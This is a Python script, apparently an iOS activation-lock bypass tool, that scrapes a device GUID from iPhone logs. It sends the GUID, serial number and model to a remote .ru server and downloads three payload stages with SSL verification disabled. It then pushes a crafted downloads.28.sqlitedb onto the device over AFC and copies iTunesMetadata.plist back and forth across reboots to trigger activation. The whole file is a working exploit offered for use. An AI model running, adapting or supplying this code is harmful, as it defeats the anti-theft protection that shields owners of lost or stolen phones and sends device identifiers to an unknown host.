import sys import os import time import subprocess import re import shutil import sqlite3 import atexit import urllib.parse import json import struct import binascii from collections import Counter from pathlib import Path def get_bundle_path(): """Получает путь к ресурсам в .app bundle""" if getattr(sys, 'frozen', False): # Мы внутри .app bundle_path = Path(sys.executable).parent.parent.parent resources_path = bundle_path / 'Contents' / 'Resources' return resources_path else: # Обычный Python return Path.cwd() def find_binary(bin_name): """Ищет бинарник в bundle или системе""" resources_path = get_bundle_path() bundle_bin_path = resources_path / 'bin' / bin_name # Пробуем bundle сначала if bundle_bin_path.exists(): return str(bundle_bin_path) # Пробуем системные пути system_paths = ['/usr/local/bin', '/opt/homebrew/bin', '/usr/bin'] for path in system_paths: sys_bin_path = Path(path) / bin_name if sys_bin_path.exists(): return str(sys_bin_path) return None class Style: RESET = '\033[0m' BOLD = '\033[1m' DIM = '\033[2m' RED = '\033[0;31m' GREEN = '\033[0;32m' YELLOW = '\033[1;33m' BLUE = '\033[0;34m' MAGENTA = '\033[0;35m' CYAN = '\033[0;36m' class BypassAutomation: def __init__(self, auto_confirm_guid=False): self.api_url = "https://codex-r1nderpest-a12.ru/get2.php" self.timeouts = { 'asset_wait': 300, 'asset_delete_delay': 15, 'reboot_wait': 300, 'syslog_collect': 180 } self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}") self.afc_mode = None self.device_info = {} self.guid = None self.attempt_count = 0 self.max_attempts = 10 self.auto_confirm_guid = auto_confirm_guid atexit.register(self._cleanup) def log(self, msg, level='info'): if level == 'info': print(f"{Style.GREEN}[✓]{Style.RESET} {msg}") elif level == 'error': print(f"{Style.RED}[✗]{Style.RESET} {msg}") elif level == 'warn': print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}") elif level == 'step': print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}") print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}") print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}") elif level == 'detail': print(f"{Style.DIM} ╰─▶{Style.RESET} {msg}") elif level == 'success': print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}") elif level == 'attempt': print(f"{Style.CYAN}[🔄 Attempt {self.attempt_count}/{self.max_attempts}]{Style.RESET} {msg}") def _run_cmd(self, cmd, timeout=None): """Запускает команду с поддержкой .app bundle""" # Преобразуем команду для использования бинарников из bundle if isinstance(cmd, list) and cmd: bin_name = cmd[0] full_path = find_binary(bin_name) if full_path: cmd[0] = full_path elif isinstance(cmd, str): parts = cmd.split() if parts: bin_name = parts[0] full_path = find_binary(bin_name) if full_path: cmd = cmd.replace(bin_name, full_path, 1) # Настраиваем окружение для .app env = os.environ.copy() resources_path = get_bundle_path() # Добавляем bin директорию в PATH bin_dir = resources_path / 'bin' if bin_dir.exists(): env['PATH'] = str(bin_dir) + ':' + env.get('PATH', '') # Добавляем lib директорию для библиотек lib_dir = resources_path / 'lib' if lib_dir.exists(): env['DYLD_LIBRARY_PATH'] = str(lib_dir) + ':' + env.get('DYLD_LIBRARY_PATH', '') try: result = subprocess.run( cmd, capture_output=True, text=True, timeout=timeout, shell=isinstance(cmd, str), env=env ) return result.returncode, result.stdout, result.stderr except subprocess.TimeoutExpired: return -1, "", "Command timed out" except Exception as e: return -1, "", str(e) def wait_for_file(self, file_path, timeout=60): """Ожидание появления файла с таймаутом""" self.log(f"⏳ Waiting for {file_path}...", "detail") start_time = time.time() while time.time() - start_time < timeout: if self.afc_mode == "ifuse": if self.mount_afc(): fpath = self.mount_point + file_path if os.path.exists(fpath): file_size = os.path.getsize(fpath) if file_size > 0: self.log(f"✅ File found ({file_size} bytes)", "success") return True else: # Проверка через pymobiledevice3 tmp_file = f"temp_check_{os.getpid()}.tmp" code, _, _ = self._run_cmd(["pymobiledevice3", "afc", "pull", file_path, tmp_file]) if code == 0 and os.path.exists(tmp_file): file_size = os.path.getsize(tmp_file) os.remove(tmp_file) if file_size > 0: self.log(f"✅ File found ({file_size} bytes)", "success") return True time.sleep(5) self.log(" ▫ Still waiting...", "detail") self.log(f"❌ Timeout waiting for {file_path}", "error") return False def _curl_download(self, url, output_file): """Download with SSL verification disabled""" curl_cmd = [ "curl", "-L", "-k", # ← КЛЮЧЕВОЕ: отключает проверку SSL "-f", # Fail on HTTP errors "--connect-timeout", "30", "--max-time", "120", "-o", output_file, url ] self.log(f"Downloading: {url}", "detail") code, out, err = self._run_cmd(curl_cmd) if code != 0: self.log(f"Download failed (code {code}): {err}", "error") return False if os.path.exists(output_file) and os.path.getsize(output_file) > 0: self.log(f"Download successful: {os.path.getsize(output_file)} bytes", "info") return True else: self.log("Download failed: empty file", "error") return False def reboot_device(self): """Reboots device and waits for readiness""" self.log("Rebooting device...", "step") # Try using pymobiledevice3 for reboot code, _, err = self._run_cmd(["pymobiledevice3", "restart"]) if code != 0: # Fallback to idevicediagnostics code, _, err = self._run_cmd(["idevicediagnostics", "restart"]) if code != 0: self.log(f"Soft reboot failed: {err}", "warn") self.log("Please reboot device manually and press Enter to continue...", "warn") input() return True self.log("Device reboot command sent, waiting for reconnect...", "info") # Wait for device reboot for i in range(60): # 60 attempts × 5 seconds = 5 minutes time.sleep(5) code, _, _ = self._run_cmd(["ideviceinfo"]) if code == 0: self.log(f"Device reconnected after {i * 5} seconds", "success") # Give device extra time for full boot time.sleep(10) return True if i % 6 == 0: # Every 30 seconds self.log(f"Still waiting for device... ({i * 5} seconds)", "detail") self.log("Device did not reconnect in time", "error") return False def verify_dependencies(self): self.log("Verifying System Requirements...", "step") # Проверяем доступность бинарников required_bins = ['ideviceinfo', 'idevice_id'] for bin_name in required_bins: path = find_binary(bin_name) if path: self.log(f"✅ {bin_name}: {path}", "info") else: self.log(f"❌ {bin_name}: Not found", "error") raise Exception(f"Required binary not found: {bin_name}") if find_binary("ifuse"): self.afc_mode = "ifuse" self.log("✅ ifuse found - using ifuse mode", "info") else: self.afc_mode = "pymobiledevice3" self.log("⚠ ifuse not found - using pymobiledevice3 mode", "warn") def mount_afc(self): if self.afc_mode != "ifuse": return True os.makedirs(self.mount_point, exist_ok=True) code, out, _ = self._run_cmd(["mount"]) if self.mount_point in out: return True for i in range(5): code, _, _ = self._run_cmd(["ifuse", self.mount_point]) if code == 0: return True time.sleep(2) self.log("Failed to mount via ifuse", "error") return False def unmount_afc(self): if self.afc_mode == "ifuse" and os.path.exists(self.mount_point): self._run_cmd(["umount", self.mount_point]) try: os.rmdir(self.mount_point) except OSError: pass def _cleanup(self): """Ensure cleanup on exit""" self.unmount_afc() def detect_device(self): self.log("Detecting Device...", "step") code, out, err = self._run_cmd(["ideviceinfo"]) if code != 0: self.log(f"Device not found. Error: {err or 'Unknown'}", "error") raise Exception("No device detected") info = {} for line in out.splitlines(): if ": " in line: key, val = line.split(": ", 1) info[key.strip()] = val.strip() self.device_info = info print(f"\n{Style.BOLD}Device: {info.get('ProductType','Unknown')} (iOS {info.get('ProductVersion','?')}){Style.RESET}") print(f"UDID: {info.get('UniqueDeviceID','?')}") if info.get('ActivationState') == 'Activated': print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}") def afc_copy(self, src_path: str, dst_path: str) -> bool: try: if self.afc_mode == "ifuse": if not self.mount_afc(): raise RuntimeError("ifuse remount failed") src_local = self.mount_point + src_path dst_local = self.mount_point + dst_path if not os.path.exists(src_local) or os.path.getsize(src_local) == 0: return False os.makedirs(os.path.dirname(dst_local), exist_ok=True) shutil.copy2(src_local, dst_local) return True else: tmp = "temp_plist_copy.plist" code, _, err = self._run_cmd(["pymobiledevice3", "afc", "pull", src_path, tmp]) if code != 0 or not os.path.exists(tmp) or os.path.getsize(tmp) == 0: if os.path.exists(tmp): os.remove(tmp) return False code2, _, err2 = self._run_cmd(["pymobiledevice3", "afc", "push", tmp, dst_path]) if os.path.exists(tmp): os.remove(tmp) return code2 == 0 except Exception as e: self.log(f"afc_copy failed: {e}", "error") return False def get_guid_manual(self): """Manual GUID input with validation""" print(f"\n{Style.YELLOW}⚠ GUID Input Required{Style.RESET}") print(f" Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX") print(f" Example: 2A22A82B-C342-444D-972F-5270FB5080DF") UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE) while True: guid_input = input(f"\n{Style.BLUE}➤ Enter SystemGroup GUID:{Style.RESET} ").strip() if UUID_PATTERN.match(guid_input): return guid_input.upper() print(f"{Style.RED}❌ Invalid format. Must be 8-4-4-4-12 hex characters (e.g. 2A22A82B-C342-444D-972F-5270FB5080DF).{Style.RESET}") def parse_tracev3_structure(self, data): """Parses tracev3 file structure for more precise search""" signatures = [] # Search for database-related strings db_patterns = [ b'BLDatabaseManager', b'BLDatabase', b'BLDatabaseManager.sqlite', b'bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup', ] for pattern in db_patterns: pos = 0 while True: pos = data.find(pattern, pos) if pos == -1: break signatures.append(('string', pattern, pos)) pos += len(pattern) return signatures def extract_guid_candidates(self, data, context_pos, window_size=512): """Extracts GUIDs with contextual analysis""" candidates = [] # Extended GUID pattern guid_pattern = re.compile( rb'([0-9A-F]{8}[-][0-9A-F]{4}[-][0-9A-F]{4}[-][0-9A-F]{4}[-][0-9A-F]{12})', re.IGNORECASE ) # Search in context window start = max(0, context_pos - window_size) end = min(len(data), context_pos + window_size) context_data = data[start:end] # GUID search for match in guid_pattern.finditer(context_data): guid = match.group(1).decode('ascii').upper() relative_pos = match.start() + start - context_pos # Extended GUID validation if self.validate_guid_structure(guid): candidates.append({ 'guid': guid, 'position': relative_pos, 'context': self.get_context_string(context_data, match.start(), match.end()) }) return candidates def validate_guid_structure(self, guid): """Extended GUID structure validation""" try: # Check GUID version (RFC 4122) parts = guid.split('-') if len(parts) != 5: return False # Check part lengths if len(parts[0]) != 8 or len(parts[1]) != 4 or len(parts[2]) != 4 or len(parts[3]) != 4 or len(parts[4]) != 12: return False # Check hex characters hex_chars = set('0123456789ABCDEF') clean_guid = guid.replace('-', '') if not all(c in hex_chars for c in clean_guid): return False # Check version (4th character of 3rd group should be 4) version_char = parts[2][0] if version_char not in '4': return False # iOS commonly uses version 4 # Check variant (8,9,A,B - 2 high bits) variant_char = parts[3][0] if variant_char not in '89AB': return False return True except Exception: return False def get_context_string(self, data, start, end, context_size=50): """Gets context string around GUID""" context_start = max(0, start - context_size) context_end = min(len(data), end + context_size) context = data[context_start:context_end] try: # Try to decode as text return context.decode('utf-8', errors='replace') except: # For binary data show hex return binascii.hexlify(context).decode('ascii') def analyze_guid_confidence(self, guid_candidates): """Analyzes confidence in found GUIDs""" if not guid_candidates: return None # Group by GUID guid_counts = Counter(candidate['guid'] for candidate in guid_candidates) # Calculate score for each GUID scored_guids = [] for guid, count in guid_counts.items(): score = count * 10 # Base score by occurrence count # Additional confidence factors positions = [c['position'] for c in guid_candidates if c['guid'] == guid] # Preference for GUIDs close to BLDatabaseManager close_positions = [p for p in positions if abs(p) < 100] if close_positions: score += len(close_positions) * 5 # Preference for GUIDs before BLDatabaseManager (more common in logs) before_positions = [p for p in positions if p < 0] if before_positions: score += len(before_positions) * 3 scored_guids.append((guid, score, count)) # Sort by score scored_guids.sort(key=lambda x: x[1], reverse=True) return scored_guids def confirm_guid_manual(self, guid): """Requests manual confirmation — bypassed in auto mode""" if self.auto_confirm_guid: self.log(f"[AUTO] Low-confidence GUID auto-approved: {guid}", "info") return True else: # Оригинальный интерактивный запрос (для CLI) print(f"Proposed GUID: {Style.BOLD}{guid}{Style.RESET}") print(f"This GUID has lower confidence score. Please verify:") print(f"1. Check if this matches GUID from other sources") print(f"2. Verify the format looks correct") response = input(f"\n{Style.BLUE}Use this GUID? (y/N):{Style.RESET} ").strip().lower() return response in ['y', 'yes'] def get_guid_enhanced(self): """Enhanced GUID extraction version""" self.attempt_count += 1 self.log(f"GUID search attempt {self.attempt_count}/{self.max_attempts}", "attempt") udid = self.device_info['UniqueDeviceID'] log_path = f"{udid}.logarchive" try: # Collect logs self.log("Collecting device logs...", "detail") code, _, err = self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=120) if code != 0: self.log(f"Log collection failed: {err}", "error") return None trace_file = os.path.join(log_path, "logdata.LiveData.tracev3") if not os.path.exists(trace_file): self.log("tracev3 file not found", "error") return None # Read and analyze file with open(trace_file, 'rb') as f: data = f.read() size_mb = len(data) / (1024 * 1024) self.log(f"Analyzing tracev3 ({size_mb:.1f} MB)...", "detail") # Search for key structures signatures = self.parse_tracev3_structure(data) self.log(f"Found {len(signatures)} relevant signatures", "detail") # Collect GUID candidates all_candidates = [] bl_database_positions = [] for sig_type, pattern, pos in signatures: if pattern == b'BLDatabaseManager': bl_database_positions.append(pos) candidates = self.extract_guid_candidates(data, pos) all_candidates.extend(candidates) if candidates: self.log(f"Found {len(candidates)} GUID candidates near BLDatabaseManager at 0x{pos:x}", "detail") if not all_candidates: self.log("No valid GUID candidates found", "error") return None # Confidence analysis scored_guids = self.analyze_guid_confidence(all_candidates) if not scored_guids: return None # Log results self.log("GUID confidence analysis:", "info") for guid, score, count in scored_guids[:5]: self.log(f" {guid}: score={score}, occurrences={count}", "detail") best_guid, best_score, best_count = scored_guids[0] # Determine confidence level if best_score >= 30: confidence = "HIGH" self.log(f"✅ HIGH CONFIDENCE: {best_guid} (score: {best_score})", "success") elif best_score >= 15: confidence = "MEDIUM" self.log(f"⚠️ MEDIUM CONFIDENCE: {best_guid} (score: {best_score})", "warn") else: confidence = "LOW" self.log(f"⚠️ LOW CONFIDENCE: {best_guid} (score: {best_score})", "warn") # Additional verification for low confidence if confidence in ["LOW", "MEDIUM"]: self.log("Requesting manual confirmation for low-confidence GUID...", "warn") if not self.confirm_guid_manual(best_guid): return None return best_guid finally: # Cleanup if os.path.exists(log_path): shutil.rmtree(log_path) def get_guid_auto_with_retry(self): """Auto-detect GUID with reboot retry mechanism""" self.attempt_count = 0 while self.attempt_count < self.max_attempts: guid = self.get_guid_enhanced() if guid: return guid # If not last attempt - reboot device if self.attempt_count < self.max_attempts: self.log(f"GUID not found in attempt {self.attempt_count}. Rebooting device and retrying...", "warn") if not self.reboot_device(): self.log("Failed to reboot device, continuing anyway...", "warn") # After reboot re-detect device self.log("Re-detecting device after reboot...", "detail") self.detect_device() # Small pause before next attempt time.sleep(5) else: self.log(f"All {self.max_attempts} attempts exhausted", "error") return None def get_guid_auto(self): """Auto-detect GUID using enhanced method with retry""" return self.get_guid_auto_with_retry() def get_all_urls_from_server(self, prd, guid, sn): """Requests all three URLs (stage1, stage2, stage3) from the server""" params = f"prd={prd}&guid={guid}&sn={sn}" url = f"{self.api_url}?{params}" self.log(f"Requesting all URLs from server: {url}", "detail") # Используем curl с отключенной SSL проверкой code, out, err = self._run_cmd(["curl", "-s", "-k", url]) # ← -k добавлено здесь if code != 0: self.log(f"Server request failed: {err}", "error") return None, None, None try: data = json.loads(out) if data.get('success'): stage1_url = data['links']['step1_fixedfile'] stage2_url = data['links']['step2_bldatabase'] stage3_url = data['links']['step3_final'] return stage1_url, stage2_url, stage3_url else: self.log("Server returned error response", "error") return None, None, None except json.JSONDecodeError: self.log("Server did not return valid JSON", "error") return None, None, None def preload_stage(self, stage_name, stage_url): """Pre-load individual stage with SSL bypass""" self.log(f"Pre-loading: {stage_name}...", "detail") # Используем нашу улучшенную функцию загрузки temp_file = f"temp_{stage_name}" success = self._curl_download(stage_url, temp_file) if success: self.log(f"Successfully pre-loaded {stage_name}", "info") # Удаляем временный файл if os.path.exists(temp_file): os.remove(temp_file) return True else: self.log(f"Warning: Failed to pre-load {stage_name}", "warn") return False def run(self): os.system('clear') print(f"{Style.BOLD}{Style.MAGENTA}iOS Activation Tool - Professional Edition{Style.RESET}\n") self.verify_dependencies() self.detect_device() print(f"\n{Style.CYAN}GUID Detection Options:{Style.RESET}") print(f" 1. {Style.GREEN}Auto-detect from device logs (with retry){Style.RESET}") print(f" 2. {Style.YELLOW}Manual input{Style.RESET}") choice = input(f"\n{Style.BLUE}➤ Choose option (1/2):{Style.RESET} ").strip() if choice == "1": self.guid = self.get_guid_auto() if self.guid: self.log(f"Auto-detected GUID after {self.attempt_count} attempt(s): {self.guid}", "success") else: self.log(f"Could not auto-detect GUID after {self.attempt_count} attempts, falling back to manual input", "warn") self.guid = self.get_guid_manual() else: self.guid = self.get_guid_manual() self.log(f"Using GUID: {self.guid}", "info") input(f"\n{Style.YELLOW}Press Enter to deploy payload with this GUID...{Style.RESET}") # 2. API Call & Get All URLs self.log("Requesting All Payload Stages from Server...", "step") prd = self.device_info['ProductType'] sn = self.device_info['SerialNumber'] stage1_url, stage2_url, stage3_url = self.get_all_urls_from_server(prd, self.guid, sn) if not stage1_url or not stage2_url or not stage3_url: self.log("Failed to get URLs from server", "error") sys.exit(1) self.log(f"Stage1 URL: {stage1_url}", "detail") self.log(f"Stage2 URL: {stage2_url}", "detail") self.log(f"Stage3 URL: {stage3_url}", "detail") # 3. Pre-download all stages с SSL bypass self.log("Pre-loading all payload stages...", "step") stages = [ ("stage1", stage1_url), ("stage2", stage2_url), ("stage3", stage3_url) ] for stage_name, stage_url in stages: self.preload_stage(stage_name, stage_url) time.sleep(1) # 4. Download & Validate final payload (stage3) self.log("Downloading final payload...", "step") local_db = "downloads.28.sqlitedb" if os.path.exists(local_db): os.remove(local_db) # Используем улучшенную загрузку if not self._curl_download(stage3_url, local_db): self.log("Final payload download failed", "error") sys.exit(1) # Validate database self.log("Validating payload database...", "detail") conn = sqlite3.connect(local_db) try: res = conn.execute("SELECT count(*) FROM sqlite_master WHERE type='table' AND name='asset'") if res.fetchone()[0] == 0: raise Exception("Invalid DB - no asset table found") res = conn.execute("SELECT COUNT(*) FROM asset") count = res.fetchone()[0] if count == 0: raise Exception("Invalid DB - no records in asset table") self.log(f"Database validation passed - {count} records found", "info") res = conn.execute("SELECT pid, url, local_path FROM asset") for row in res.fetchall(): self.log(f"Record {row[0]}: {row[1]} -> {row[2]}", "detail") except Exception as e: self.log(f"Invalid payload received: {e}", "error") sys.exit(1) finally: conn.close() # 5. Upload self.log("Uploading Payload via AFC...", "step") target = "/Downloads/downloads.28.sqlitedb" if self.afc_mode == "ifuse": if not self.mount_afc(): self.log("Mounting failed — falling back to pymobiledevice3", "warn") self.afc_mode = "pymobiledevice3" if self.afc_mode == "ifuse": fpath = self.mount_point + target if os.path.exists(fpath): os.remove(fpath) shutil.copy(local_db, fpath) self.log("Uploaded via ifuse", "info") else: self._run_cmd(["pymobiledevice3", "afc", "rm", target]) code, _, err = self._run_cmd(["pymobiledevice3", "afc", "push", local_db, target]) if code != 0: self.log(f"AFC upload failed: {err}", "error") sys.exit(1) self.log("Uploaded via pymobiledevice3", "info") self.log("✅ Payload Deployed Successfully", "success") # 6. Cleanup WAL/SHM files self.log("Cleaning up WAL/SHM files in /Downloads...", "step") for wal_file in ["/Downloads/downloads.28.sqlitedb-wal", "/Downloads/downloads.28.sqlitedb-shm"]: if self.afc_mode == "ifuse": fpath = self.mount_point + wal_file if os.path.exists(fpath): try: os.remove(fpath) self.log(f"Removed {wal_file} via ifuse", "info") except Exception as e: self.log(f"Failed to remove {wal_file}: {e}", "warn") else: code, _, err = self._run_cmd(["pymobiledevice3", "afc", "rm", wal_file]) if code == 0: self.log(f"Removed {wal_file} via pymobiledevice3", "info") else: if "ENOENT" not in err and "No such file" not in err: self.log(f"Warning removing {wal_file}: {err}", "warn") else: self.log(f"{wal_file} not present — OK", "detail") # === STAGE 1: FIRST REBOOT + COPY TO /Books/ === self.log("🔄 STAGE 1: First reboot + copy to /Books/...", "step") if not self.reboot_device(): self.log("⚠ First reboot failed — continuing anyway", "warn") self.log("Waiting 30 seconds for iTunesMetadata.plist to appear...", "detail") for _ in range(3): # 6 × 5s = 30s time.sleep(5) self.log(" ▫ Waiting...", "detail") src = "/iTunes_Control/iTunes/iTunesMetadata.plist" dst_books = "/Books/iTunesMetadata.plist" # Copy → /Books/ self.log(f"Copying {src} → {dst_books}...", "info") if self.afc_copy(src, dst_books): self.log("✅ Copied to /Books/ successfully", "success") else: self.log("⚠ /iTunes_Control/iTunes/iTunesMetadata.plist not found — skipping copy to /Books/", "warn") # === STAGE 2: SECOND REBOOT + COPY BACK === self.log("🔄 STAGE 2: Second reboot + copy back to /iTunes_Control/...", "step") if not self.reboot_device(): self.log("⚠ Second reboot failed — continuing anyway", "warn") # Copy back: /Books/ → /iTunes_Control/iTunes/ self.log(f"Copying {dst_books} → {src}...", "info") if self.afc_copy(dst_books, src): self.log("✅ Copied back to /iTunes_Control/ successfully", "success") else: self.log("⚠ /Books/iTunesMetadata.plist missing — copy-back skipped", "warn") # Wait 15 seconds — bookassetd processes the plist copy self.log("⏸ Holding 15s for bookassetd...", "detail") time.sleep(40) # === FINAL REBOOT === self.log("🔄 Final reboot to trigger MobileActivation...", "step") self.reboot_device() # ✅ Final success banner print(f"\n{Style.GREEN}{Style.BOLD}🎉 АКТИВАЦИЯ ЗАВЕРШЕНА УСПЕШНО!{Style.RESET}") print(f"{Style.CYAN}→ GUID: {Style.BOLD}{self.guid}{Style.RESET}") print(f"{Style.CYAN}→ Payload deployed, plist synced ×2, 3 reboots performed.{Style.RESET}") print(f"\n{Style.YELLOW}📌 Что делать дальше:{Style.RESET}") if __name__ == "__main__": try: BypassAutomation().run() except KeyboardInterrupt: print(f"\n{Style.YELLOW}Interrupted by user.{Style.RESET}") sys.exit(0) except Exception as e: print(f"{Style.RED}Fatal error: {e}{Style.RESET}") sys.exit(1)